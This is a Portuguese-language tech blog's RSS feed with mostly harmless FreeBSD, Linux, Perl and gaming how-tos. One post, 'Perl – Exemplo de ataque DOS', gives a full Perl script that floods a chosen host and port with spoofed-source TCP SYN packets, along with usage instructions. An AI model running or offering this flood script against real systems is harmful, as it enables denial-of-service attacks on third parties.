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		<title>XFCE no FreeBSD com problema no mouse e teclado</title>
		<link>http://matheusengcomp.wordpress.com/2011/05/25/xfce-no-freebsd-com-problema-no-mouse-e-teclado/</link>
		<comments>http://matheusengcomp.wordpress.com/2011/05/25/xfce-no-freebsd-com-problema-no-mouse-e-teclado/#comments</comments>
		<pubDate>Wed, 25 May 2011 19:39:59 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=163</guid>
		<description><![CDATA[Se o mouse e o teclado não funcionar no XFCE só adicionar estas duas linhas no arquivo /etc/rc.conf para para habilitar o hald e o dbus: hald_enable=&#8221;YES&#8221; dbus_enable=&#8221;YES&#8221; O hald é uma interface entre periféricos e programas. Ele fica ouvindo os periféricos de entrada, mouse e teclado por exemplo, e informa os programas ouvintes destes [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=163&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Se o mouse e o teclado não funcionar no XFCE só adicionar estas duas linhas no arquivo /etc/rc.conf para para habilitar o hald e o dbus:</p>
<blockquote><p>hald_enable=&#8221;YES&#8221;<br />
dbus_enable=&#8221;YES&#8221;</p></blockquote>
<p>O hald é uma interface entre periféricos e programas. Ele fica ouvindo os periféricos de entrada, mouse e teclado por exemplo, e informa os programas ouvintes destes eventos.</p>
<p>O dbus é um sistema de comunicação entre processos que permite que programas troquem mensagens entre si. Ele permite que o kernel, por exemplo, interaja com seu ambiente de trabalho. Ao invés de você interagir diretamente com o kernel, dbus atua como um intermediário, controlando as comunicações entre os dois e permitindo realizar apenas ações que ele considerar confiável.</p>
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			<media:title type="html">CoLdFeeLiNgS</media:title>
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		<title>Adicionando o FreeBSD no menu do BURG</title>
		<link>http://matheusengcomp.wordpress.com/2011/05/24/adicionando-o-freebsd-no-menu-do-burg/</link>
		<comments>http://matheusengcomp.wordpress.com/2011/05/24/adicionando-o-freebsd-no-menu-do-burg/#comments</comments>
		<pubDate>Tue, 24 May 2011 06:14:12 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=144</guid>
		<description><![CDATA[Depois de instalado o novo Ubuntu 11.04 Natty Narwhal fiz o de sempre, mudei aquela tela sem graça do grub instalando o BURG. A instalação do BURG ocorreu bem, estava identificando o Linux e o Windows, mas e o meu FreeBSD? Como sempre não reconheceu &#8230; Pesquisei nos manuais do próprio BURG a solução mas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=144&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Depois de instalado o novo Ubuntu 11.04 Natty Narwhal fiz o de sempre, mudei aquela tela sem graça do grub instalando o <a href="http://code.google.com/p/burg/">BURG</a>. A instalação do BURG ocorreu bem, estava identificando o Linux e o Windows, mas e o meu FreeBSD? Como sempre não reconheceu &#8230;</p>
<p>Pesquisei nos manuais do próprio <a href="http://code.google.com/p/burg/wiki/QuadBoot">BURG</a> a solução mas precisei fazer algumas alterações. Edite o arquivo de configuração:<code></code></p>
<p><strong>$ sudo gedit /etc/burg.d/40_custom</strong></p>
<p>E acrescente as linhas:</p>
<blockquote><p>
menuentry &#8220;FreeBSD&#8221; &#8211;class freebsd {</p>
<p style="padding-left:30px;">insmod ufs2<br />
set root=(hd0,2)<br />
chainloader +1</p>
<p>}
</p></blockquote>
<p>Na opção &#8220;set root=(hd0,2)&#8221;, no meu caso o FreeBSD encontra-se no primeiro hd na segunda partição primaria, para saber qual partição o FreeBSD esta use o comando fdisk -l.</p>
<p>Depois de tudo atualize o BURG:</p>
<p><strong>$ sudo update-burg</strong></p>
<p>No meu caso ficou assim:</p>
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		<title>Bash no FreeBSD</title>
		<link>http://matheusengcomp.wordpress.com/2009/07/01/bash-no-freebsd/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/07/01/bash-no-freebsd/#comments</comments>
		<pubDate>Wed, 01 Jul 2009 05:08:57 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=136</guid>
		<description><![CDATA[Para quem gosta do shell Bash presente na maioria das distribuições linux, pode utilizá-lo no FreeBSD também, para instalar a versão mais recente: $ pkg_add -r bash3 ou instalando pelos ports vindos com o cd de instalação: $ cd /usr/ports/shells/bash3 $ make install clean Para torná-lo padrão, bastar utilizar: $ chpass -s bash usuario<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=136&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Para quem gosta do shell Bash presente na maioria das distribuições linux, pode utilizá-lo no FreeBSD também, para instalar a versão mais recente:</p>
<p><strong>$ pkg_add -r bash3</strong></p>
<p>ou instalando pelos ports vindos com o cd de instalação:</p>
<p><strong>$ cd /usr/ports/shells/bash3</strong></p>
<p><strong>$ make install clean</strong></p>
<p>Para torná-lo padrão, bastar utilizar:</p>
<p><strong>$ chpass -s bash usuario</strong></p>
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			<media:title type="html">CoLdFeeLiNgS</media:title>
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		<title>The Battle for Wesnoth</title>
		<link>http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/#comments</comments>
		<pubDate>Fri, 08 May 2009 05:08:56 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Jogos]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=121</guid>
		<description><![CDATA[Este é um dos jogos que eu mais gosto para linux, é um jogo de estratégia baseado em turnos, as batalhas podem ser single player ou multiplayer onde você pode jogar com um amigo ou entrar no servidor oficial e procurar alguém para jogar. Pode também fazer o download de novas campanhas. Uma das coisas [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=121&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Este é um dos jogos que eu mais gosto para linux, é um jogo de estratégia baseado em turnos, as batalhas podem ser single player ou multiplayer onde você pode jogar com um amigo ou entrar no servidor oficial e procurar alguém para jogar. Pode também fazer o download de novas campanhas.</p>
<p>Uma das coisas legais do jogo é que a maioria das campanhas estão em português, assim você entende a história e o jogo fica mais interessaante.</p>
<p>Site oficial do jogo <a href="http://www.wesnoth.org/" target="_blank">The Battle For Wesnoth</a>, lá também tem a versão do jogo para outros sistemas operacionais.</p>
<p>Para instalar no ubuntu procure no synaptic ou diretamente no console pelo apt-get:</p>
<p><strong>$ apt-get install wesnoth</strong></p>
<p>Abaixo algumas screenshots do jogo:</p>

<a href='http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/wesnoth001/' title='wesnoth001'><img data-attachment-id='122' data-orig-size='800,600' data-liked='0'width="150" height="112" src="http://matheusengcomp.files.wordpress.com/2009/05/wesnoth001.jpg?w=150&#038;h=112" class="attachment-thumbnail" alt="wesnoth001" title="wesnoth001" /></a>
<a href='http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/wesnoth002/' title='wesnoth002'><img data-attachment-id='123' data-orig-size='800,600' data-liked='0'width="150" height="112" src="http://matheusengcomp.files.wordpress.com/2009/05/wesnoth002.jpg?w=150&#038;h=112" class="attachment-thumbnail" alt="wesnoth002" title="wesnoth002" /></a>
<a href='http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/wesnoth003/' title='wesnoth003'><img data-attachment-id='124' data-orig-size='800,600' data-liked='0'width="150" height="112" src="http://matheusengcomp.files.wordpress.com/2009/05/wesnoth003.jpg?w=150&#038;h=112" class="attachment-thumbnail" alt="wesnoth003" title="wesnoth003" /></a>
<a href='http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/wesnoth004/' title='wesnoth004'><img data-attachment-id='125' data-orig-size='800,600' data-liked='0'width="150" height="112" src="http://matheusengcomp.files.wordpress.com/2009/05/wesnoth004.jpg?w=150&#038;h=112" class="attachment-thumbnail" alt="wesnoth004" title="wesnoth004" /></a>
<a href='http://matheusengcomp.wordpress.com/2009/05/08/the-battle-for-wesnoth/wesnoth005/' title='wesnoth005'><img data-attachment-id='126' data-orig-size='800,600' data-liked='0'width="150" height="112" src="http://matheusengcomp.files.wordpress.com/2009/05/wesnoth005.jpg?w=150&#038;h=112" class="attachment-thumbnail" alt="wesnoth005" title="wesnoth005" /></a>

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		<title>Configurar rede Ad-Hoc no Ubuntu 9.04</title>
		<link>http://matheusengcomp.wordpress.com/2009/05/08/configurar-rede-ad-hoc-no-ubuntu-9-04/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/05/08/configurar-rede-ad-hoc-no-ubuntu-9-04/#comments</comments>
		<pubDate>Fri, 08 May 2009 03:37:55 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=115</guid>
		<description><![CDATA[Finalmente os desenvolvedores do Ubuntu corrigiram a instabilidade do módulo rt61pci responsável por suportar as placas pci wireless D-Link, agora sem gambiarra, irei mostrar como configurar uma rede entre dois computadores utilizando a placa de rede wireless. Primeiro execute o comando iwconfig e verifique o alias da placa de rede, no meu caso é wlan0, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=115&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Finalmente os desenvolvedores do Ubuntu corrigiram a instabilidade do módulo rt61pci responsável por suportar as placas pci wireless D-Link, agora sem gambiarra, irei mostrar como configurar uma rede entre dois computadores utilizando a placa de rede wireless.</p>
<p>Primeiro execute o comando iwconfig e verifique o alias da placa de rede, no meu caso é wlan0, como no exemplo abaixo:</p>
<p><img class="alignnone size-full wp-image-116" title="iwconfig" src="http://matheusengcomp.files.wordpress.com/2009/05/iwconfig.png?w=450" alt="iwconfig"   /></p>
<p>Para as configurações abaixo são necessários privilégios de root.</p>
<p>Abra o terminal e execute os seguintes comandos:</p>
<p><strong>$ ifconfig wlan0 192.168.0.1 netmask 255.255.255.0 up<br />
$ iwconfig wlan0 mode Ad-Hoc<br />
$ iwconfig wlan0 essid ubuntu<br />
$ iwconfig wlan0 channel 10<br />
$ iwconfig wlan0 key restricted s:senha12345678</strong></p>
<p>A criptografia por padrão é WEP, então na última linha é definida a senha da rede, a senha deve ter exatamente 5 ou 13 digitos, caso a senha seja somente números retire o &#8220;s:&#8221; antes da senha ou ainda caso queira deixar sem senha apenas coloque off, ficando $ iwconfig wlan0 key off.<br />
No essid é o nome da rede, você pode escolher qualquer nome, resolvi colocar ubuntu.</p>
<p>No outro computador basta utilizar a mesma configuração, alterando logicamente apenas o endereço ip na primeira linha, para por exemplo 192.168.0.2.</p>
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			<media:title type="html">iwconfig</media:title>
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		<title>Perl &#8211; Exemplo de ataque DOS</title>
		<link>http://matheusengcomp.wordpress.com/2009/03/30/perl-exemplo-de-ataque-dos/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/03/30/perl-exemplo-de-ataque-dos/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 17:35:44 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Perl]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=106</guid>
		<description><![CDATA[Este script escrito em perl envia pacotes tcp a vítima escondendo o ip original do atacante (IP Spoof), claro que para um ataque de negação de serviço bem sucedido sua conexão deve ser bem maior que a da vítima. Necessário ter o módulo Net::RawIP instalado, pois através dele conseguimos manipular o cabeçalho dos pacotes tcp. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=106&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Este script escrito em perl envia pacotes tcp a vítima escondendo o ip original do atacante (IP Spoof), claro que para um ataque de negação de serviço bem sucedido sua conexão deve ser bem maior que a da vítima.</p>
<p>Necessário ter o módulo <a href="http://search.cpan.org/~saper/Net-RawIP-0.25/lib/Net/RawIP.pm" target="_blank">Net::RawIP</a> instalado, pois através dele conseguimos manipular o cabeçalho dos pacotes tcp. Para utilizar o script deverá estar logado como root.</p>
<p>Uso:<br />
<strong>$ perl ./flood.pl &lt;ip&gt; &lt;porta&gt; &lt;tempo&gt;</strong></p>
<p>Arquivo flood.pl<br />
<pre class="brush: perl;">
#!/usr/bin/perl

use Net::RawIP;

sub usage() {
die &quot;Use $0 &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;time&amp;gt;\n&quot;;
}

sub get_time() {
$finaltime = time;
$endme = $finaltime-$begintime;
}

if (@ARGV&amp;gt;3) {&amp;amp;usage}

$ipdest = $ARGV[0] or &amp;amp;usage;
$destport = $ARGV[1] or &amp;amp;usage;

$time = $ARGV[2] or &amp;amp;usage;

@tmpport = (1756,1026,1739,4055,2001,3055,1999, 2873,20000,5476,9132,6000,9000,1234);

@iparray_round1 = (1,2);
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9);

print &quot;[!] Spoof-DoS\n&quot;;
print &quot;[!] Time: $timen&quot;;
print &quot;[!] Destination victin-&amp;gt; $ipdest:$destportn&quot;;

$packet = new Net::RawIP;
$begintime = $^T;
get_time();

while($endme &amp;lt; $time) {

for ($z=0;$z&amp;lt;4;$z++) {

for($I=0;$I&amp;lt;1;$I++) {
$ip .= 2;
}
for($kick=0;$kick&amp;lt;1;$kick++) {
$iparray_round1 = $iparray_round1[rand(@iparray_round1)] ;
$ip .= $iparray_round1;
}
for($you=0;$you&amp;lt;1;$you++) {
$iparray_round2 = $iparray_round2[rand(@iparray_round2)] ;
$ip .= $iparray_round2;
}

$ip .= &quot;.&quot;;
}

chop($ip);

$tmpport = $tmpport[rand(@tmpport)];
$packet-&amp;gt;set(
{
ip =&amp;gt; { saddr =&amp;gt; $ip, #Ip da vítima
daddr =&amp;gt; $ipdest #Porta da vítima
},

#Ip de origem (Camuflado e aleatório)
tcp =&amp;gt; { source =&amp;gt; $tmpport,
#Porta de origem (Aleatória)
dest =&amp;gt; $destport,
psh =&amp;gt; 1,
ack =&amp;gt; 0,
syn =&amp;gt; 1,
data =&amp;gt; '31337'
}
}
);

#Enviando: $packet-&amp;gt;send(0,1) ;
print &quot;\n[*] From-&amp;gt; $ip:$destport.&quot;;
$ip = '';
get_time();
}

#That`s all folks!
print &quot;\nDone!\n&quot;;
#eof
</pre></p>
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		<title>SSH autenticando por chave pública/privada</title>
		<link>http://matheusengcomp.wordpress.com/2009/03/30/ssh-autenticando-por-chave-publicaprivada/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/03/30/ssh-autenticando-por-chave-publicaprivada/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 08:13:41 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=96</guid>
		<description><![CDATA[O SSH utiliza o conceito de chave pública (que será distribuído nas máquinas que você conecta) e privada, então primeiramente deve-se criar o par de chaves: $ ssh-keygen -t tipo_chave O tipo_chave serve para especificar qual será o método de criptografia utilizado para a criação da chave, que poderá ser rsa1, rsa ou dsa. Quando [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=96&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>O SSH utiliza o conceito de chave pública (que será distribuído nas máquinas que você conecta) e privada, então primeiramente deve-se criar o par de chaves:</p>
<p><strong>$ ssh-keygen -t tipo_chave</strong></p>
<p>O tipo_chave serve para especificar qual será o método de criptografia utilizado para a criação da chave, que poderá ser rsa1, rsa ou dsa.</p>
<p>Quando for perguntado:<br />
Enter passphrase (empty for no passphrase):<br />
Você precisa digitar uma senha de no mínimo 10 caracteres ou apenas aperte enter para não utilizar senha.</p>
<p>Como exemplo foi utilizado o método RSA, então foram gerados 2 arquivos: id_rsa e id_rsa.pub.</p>
<p>Para instalar a chave pública na máquina que você irá conectar basta utilizar o ssh-copy-id (ou scp, ssh, etc&#8230;):</p>
<p><strong>$ ssh-copy-id -i ~/.ssh/id_rsa teste@maquina2</strong></p>
<p>Onde teste é o usuário e maquina2 é o endereço que você irá conectar.</p>
<p>Você receberá a seguinte mensagem:</p>
<p>Now try logging into the machine, with &#8220;ssh &#8216;teste@maquina2&#8243;&#8221;, and check in:<br />
.ssh/authorized_keys<br />
to make sure we haven&#8217;t added extra keys that you weren&#8217;t expecting.</p>
<p>Pronto, a sua chave pública foi adicionada ao arquivo authorized_keys.</p>
<p>Após isso basta conectar normalmente que você já estará utilizando uma chave pública.</p>
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		<title>Perl &#8211; Client / Server</title>
		<link>http://matheusengcomp.wordpress.com/2009/03/29/perl-client-server/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/03/29/perl-client-server/#comments</comments>
		<pubDate>Sun, 29 Mar 2009 05:57:59 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Perl]]></category>

		<guid isPermaLink="false">http://matheusengcomp.wordpress.com/?p=90</guid>
		<description><![CDATA[Estou disponibilizando 2 scripts em perl para se trabalhar com cliente e servidor, ambos utilizam socket, para maiores informações da biblioteca visite o módulo IO::Socket::INET na CPAN. Arquivo client.pl Arquivo server.pl Só salvar os 2 arquivos e executar: $ perl server.pl $ perl client.pl<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=90&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Estou disponibilizando 2 scripts em perl para se trabalhar com cliente e servidor, ambos utilizam socket, para maiores informações da biblioteca visite o módulo <a href="http://search.cpan.org/~gbarr/IO-1.2301/IO/Socket/INET.pm" target="_blank">IO::Socket::INET</a> na CPAN.</p>
<p>Arquivo client.pl</p>
<p><pre class="brush: perl;">#! /usr/bin/perl

use IO::Socket::INET;
 use strict;

my $cliente_socket = IO::Socket::INET-&gt;new(
 'PeerAddr' =&gt; 'localhost',
 'PeerPort' =&gt; '2345',
 'Proto' =&gt; 'tcp'
 ) or die &quot;Não foi possível criar o socket. ($!)\n&quot;;

system (clear);
 print &quot;Digite sua mensagem e aperte enter.\n&quot;;

while (&lt;STDIN&gt;)
 {
 print $cliente_socket $_;
 print scalar &lt;$cliente_socket&gt;;
 }</pre></p>
<p>Arquivo server.pl</p>
<p><pre class="brush: perl;">#! /usr/bin/perl

use IO::Socket::INET;
 use strict;

my $server_socket = IO::Socket::INET-&gt;new(
 'LocalPort' =&gt; '2345',
 'Proto' =&gt; 'tcp',
 'Reuse' =&gt; 1,
 'Listen' =&gt; SOMAXCONN
 ) or die &quot;Não foi possível criar o socket. ($!)\n&quot;;

print &quot; Servidor iniciado.\n&quot;;

while (my $cliente = $server_socket-&gt;accept){
 while (&lt;$cliente&gt;) {
 print &quot;Mensagem recebida: $_&quot;;
 print $cliente &quot;Mensagem enviada: $_ &quot;;
 }
 }</pre></p>
<p>Só salvar os 2 arquivos e executar:</p>
<p><strong>$ perl server.pl</strong></p>
<p><strong>$ perl client.pl</strong></p>
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		<title>Perl &#8211; Hello World</title>
		<link>http://matheusengcomp.wordpress.com/2009/03/01/perl-hello-world/</link>
		<comments>http://matheusengcomp.wordpress.com/2009/03/01/perl-hello-world/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 14:56:26 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Perl]]></category>

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		<description><![CDATA[Perl (Practical Extraction and Report Language) é uma linguagem de programação criada por Larry Wall em 1987. Perl é uma linguagem interpretada e orientada a objetos. Uma dos aspectos que diferencia Perl de outras linguagens é sua comunidade muito abrangente e ativa. Existe a CPAN (Comprehensive Perl Archive Network) que é como uma biblioteca online [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=85&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Perl (Practical Extraction and Report Language) é uma linguagem de programação criada por Larry Wall em 1987. Perl é uma linguagem interpretada e orientada a objetos. Uma dos aspectos que diferencia Perl de outras linguagens é sua comunidade muito abrangente e ativa. Existe a <a href="http://www.cpan.org/" target="_blank">CPAN</a> (Comprehensive Perl Archive Network) que é como uma biblioteca online que todo programador Perl deve conhecer. Quando você instala o Perl, ele já vem com um pacote de bibliotecas padrão,  mas é claro que ele não atende a  todas as necessidade, e conforme a comunidade vai desenvolvendo novos scripts, módulos, documentação entre outras coisas, isto vai sendo disponibilizado no CPAN para que outros possam utiliza-los. O Perl pode ser executado diretamente na linha de comando ou através de arquivos .pl.</p>
<p>Todo script em Perl deve conter na primeira linha o local do interpretador (com excessão de quando for interpretado diretamente na linha de comando), geralmente o Perl é instalado no diretório /usr/bin ou /usr/local/bin, então a primeira linha sempre terá #!/usr/bin/perl.</p>
<p>1º Exemplo diretamente na linha de comando:</p>
<p><strong>$ perl -e &#8216;print &#8220;Hello World!\n&#8221; &#8216;;</strong></p>
<p>2º Exemplo através de um arquivo chamado teste.pl</p>
<p>Utilizando um editor de texto crie um arquivo chamado teste.pl e digite as seguintes linhas:</p>
<p><pre class="brush: perl;">#!/usr/bin/perl
 # Hello World em Perl
 print (&quot;Hello World!\n&quot;);</pre></p>
<p>Depois só executar:</p>
<p><strong>$ perl teste.pl</strong></p>
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		<title>TuxGuitar, um editor de tablatura opensource</title>
		<link>http://matheusengcomp.wordpress.com/2008/11/23/tuxguitar-editor-de-tablatura-opensource/</link>
		<comments>http://matheusengcomp.wordpress.com/2008/11/23/tuxguitar-editor-de-tablatura-opensource/#comments</comments>
		<pubDate>Sun, 23 Nov 2008 14:08:51 +0000</pubDate>
		<dc:creator>CoLdFeeLiNgS</dc:creator>
				<category><![CDATA[Linux]]></category>

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		<description><![CDATA[O TuxGuitar é uma alternativa livre do famoso Guitar Pro, suportando os mesmos formatos de arquivos (gp3,gp4,gp5). A interface, a forma de edição, os efeitos são semelhantes ao Guitar Pro. Você pode exportar seus arquivos para ASCII, PDF, MIDI e possui suporte a vários plugins. O TuxGuitar vai ajudar aqueles compositores caseiros ou todos aqueles [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=matheusengcomp.wordpress.com&amp;blog=3588541&amp;post=78&amp;subd=matheusengcomp&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>O TuxGuitar é uma alternativa livre do famoso Guitar Pro, suportando os mesmos formatos de arquivos (gp3,gp4,gp5). A interface, a forma de edição, os efeitos são semelhantes ao Guitar Pro.</p>
<p>Você pode exportar seus arquivos para ASCII, PDF, MIDI e possui suporte a vários plugins.</p>
<p><a href="http://matheusengcomp.files.wordpress.com/2008/11/captura_de_tela-tuxguitar.png"><img class="aligncenter size-full wp-image-79" title="captura_de_tela-tuxguitar" src="http://matheusengcomp.files.wordpress.com/2008/11/captura_de_tela-tuxguitar.png?w=450&#038;h=270" alt="captura_de_tela-tuxguitar" width="450" height="270" /></a></p>
<p>O TuxGuitar vai ajudar aqueles compositores caseiros ou todos aqueles que interessam por compor músicas, de uma forma rápida e fácil no nosso computador.</p>
<p style="text-align:center;"><a href="http://matheusengcomp.files.wordpress.com/2008/11/captura_de_tela-tuxguitar-vaughan-stevie-ray-crossfiregp3.png"><img class="size-full wp-image-80 aligncenter" title="captura_de_tela-tuxguitar-vaughan-stevie-ray-crossfiregp3" src="http://matheusengcomp.files.wordpress.com/2008/11/captura_de_tela-tuxguitar-vaughan-stevie-ray-crossfiregp3.png?w=450&#038;h=343" alt="captura_de_tela-tuxguitar-vaughan-stevie-ray-crossfiregp3" width="450" height="343" /></a></p>
<p style="text-align:left;">Para instalar, basta acessar o <a title="TuxGuitar" href="http://www.tuxguitar.com.ar/" target="_blank">site</a> do projeto para fazer o download ou via apt-get:</p>
<p style="text-align:left;"><strong>$ apt-get install tuxguitar</strong></p>
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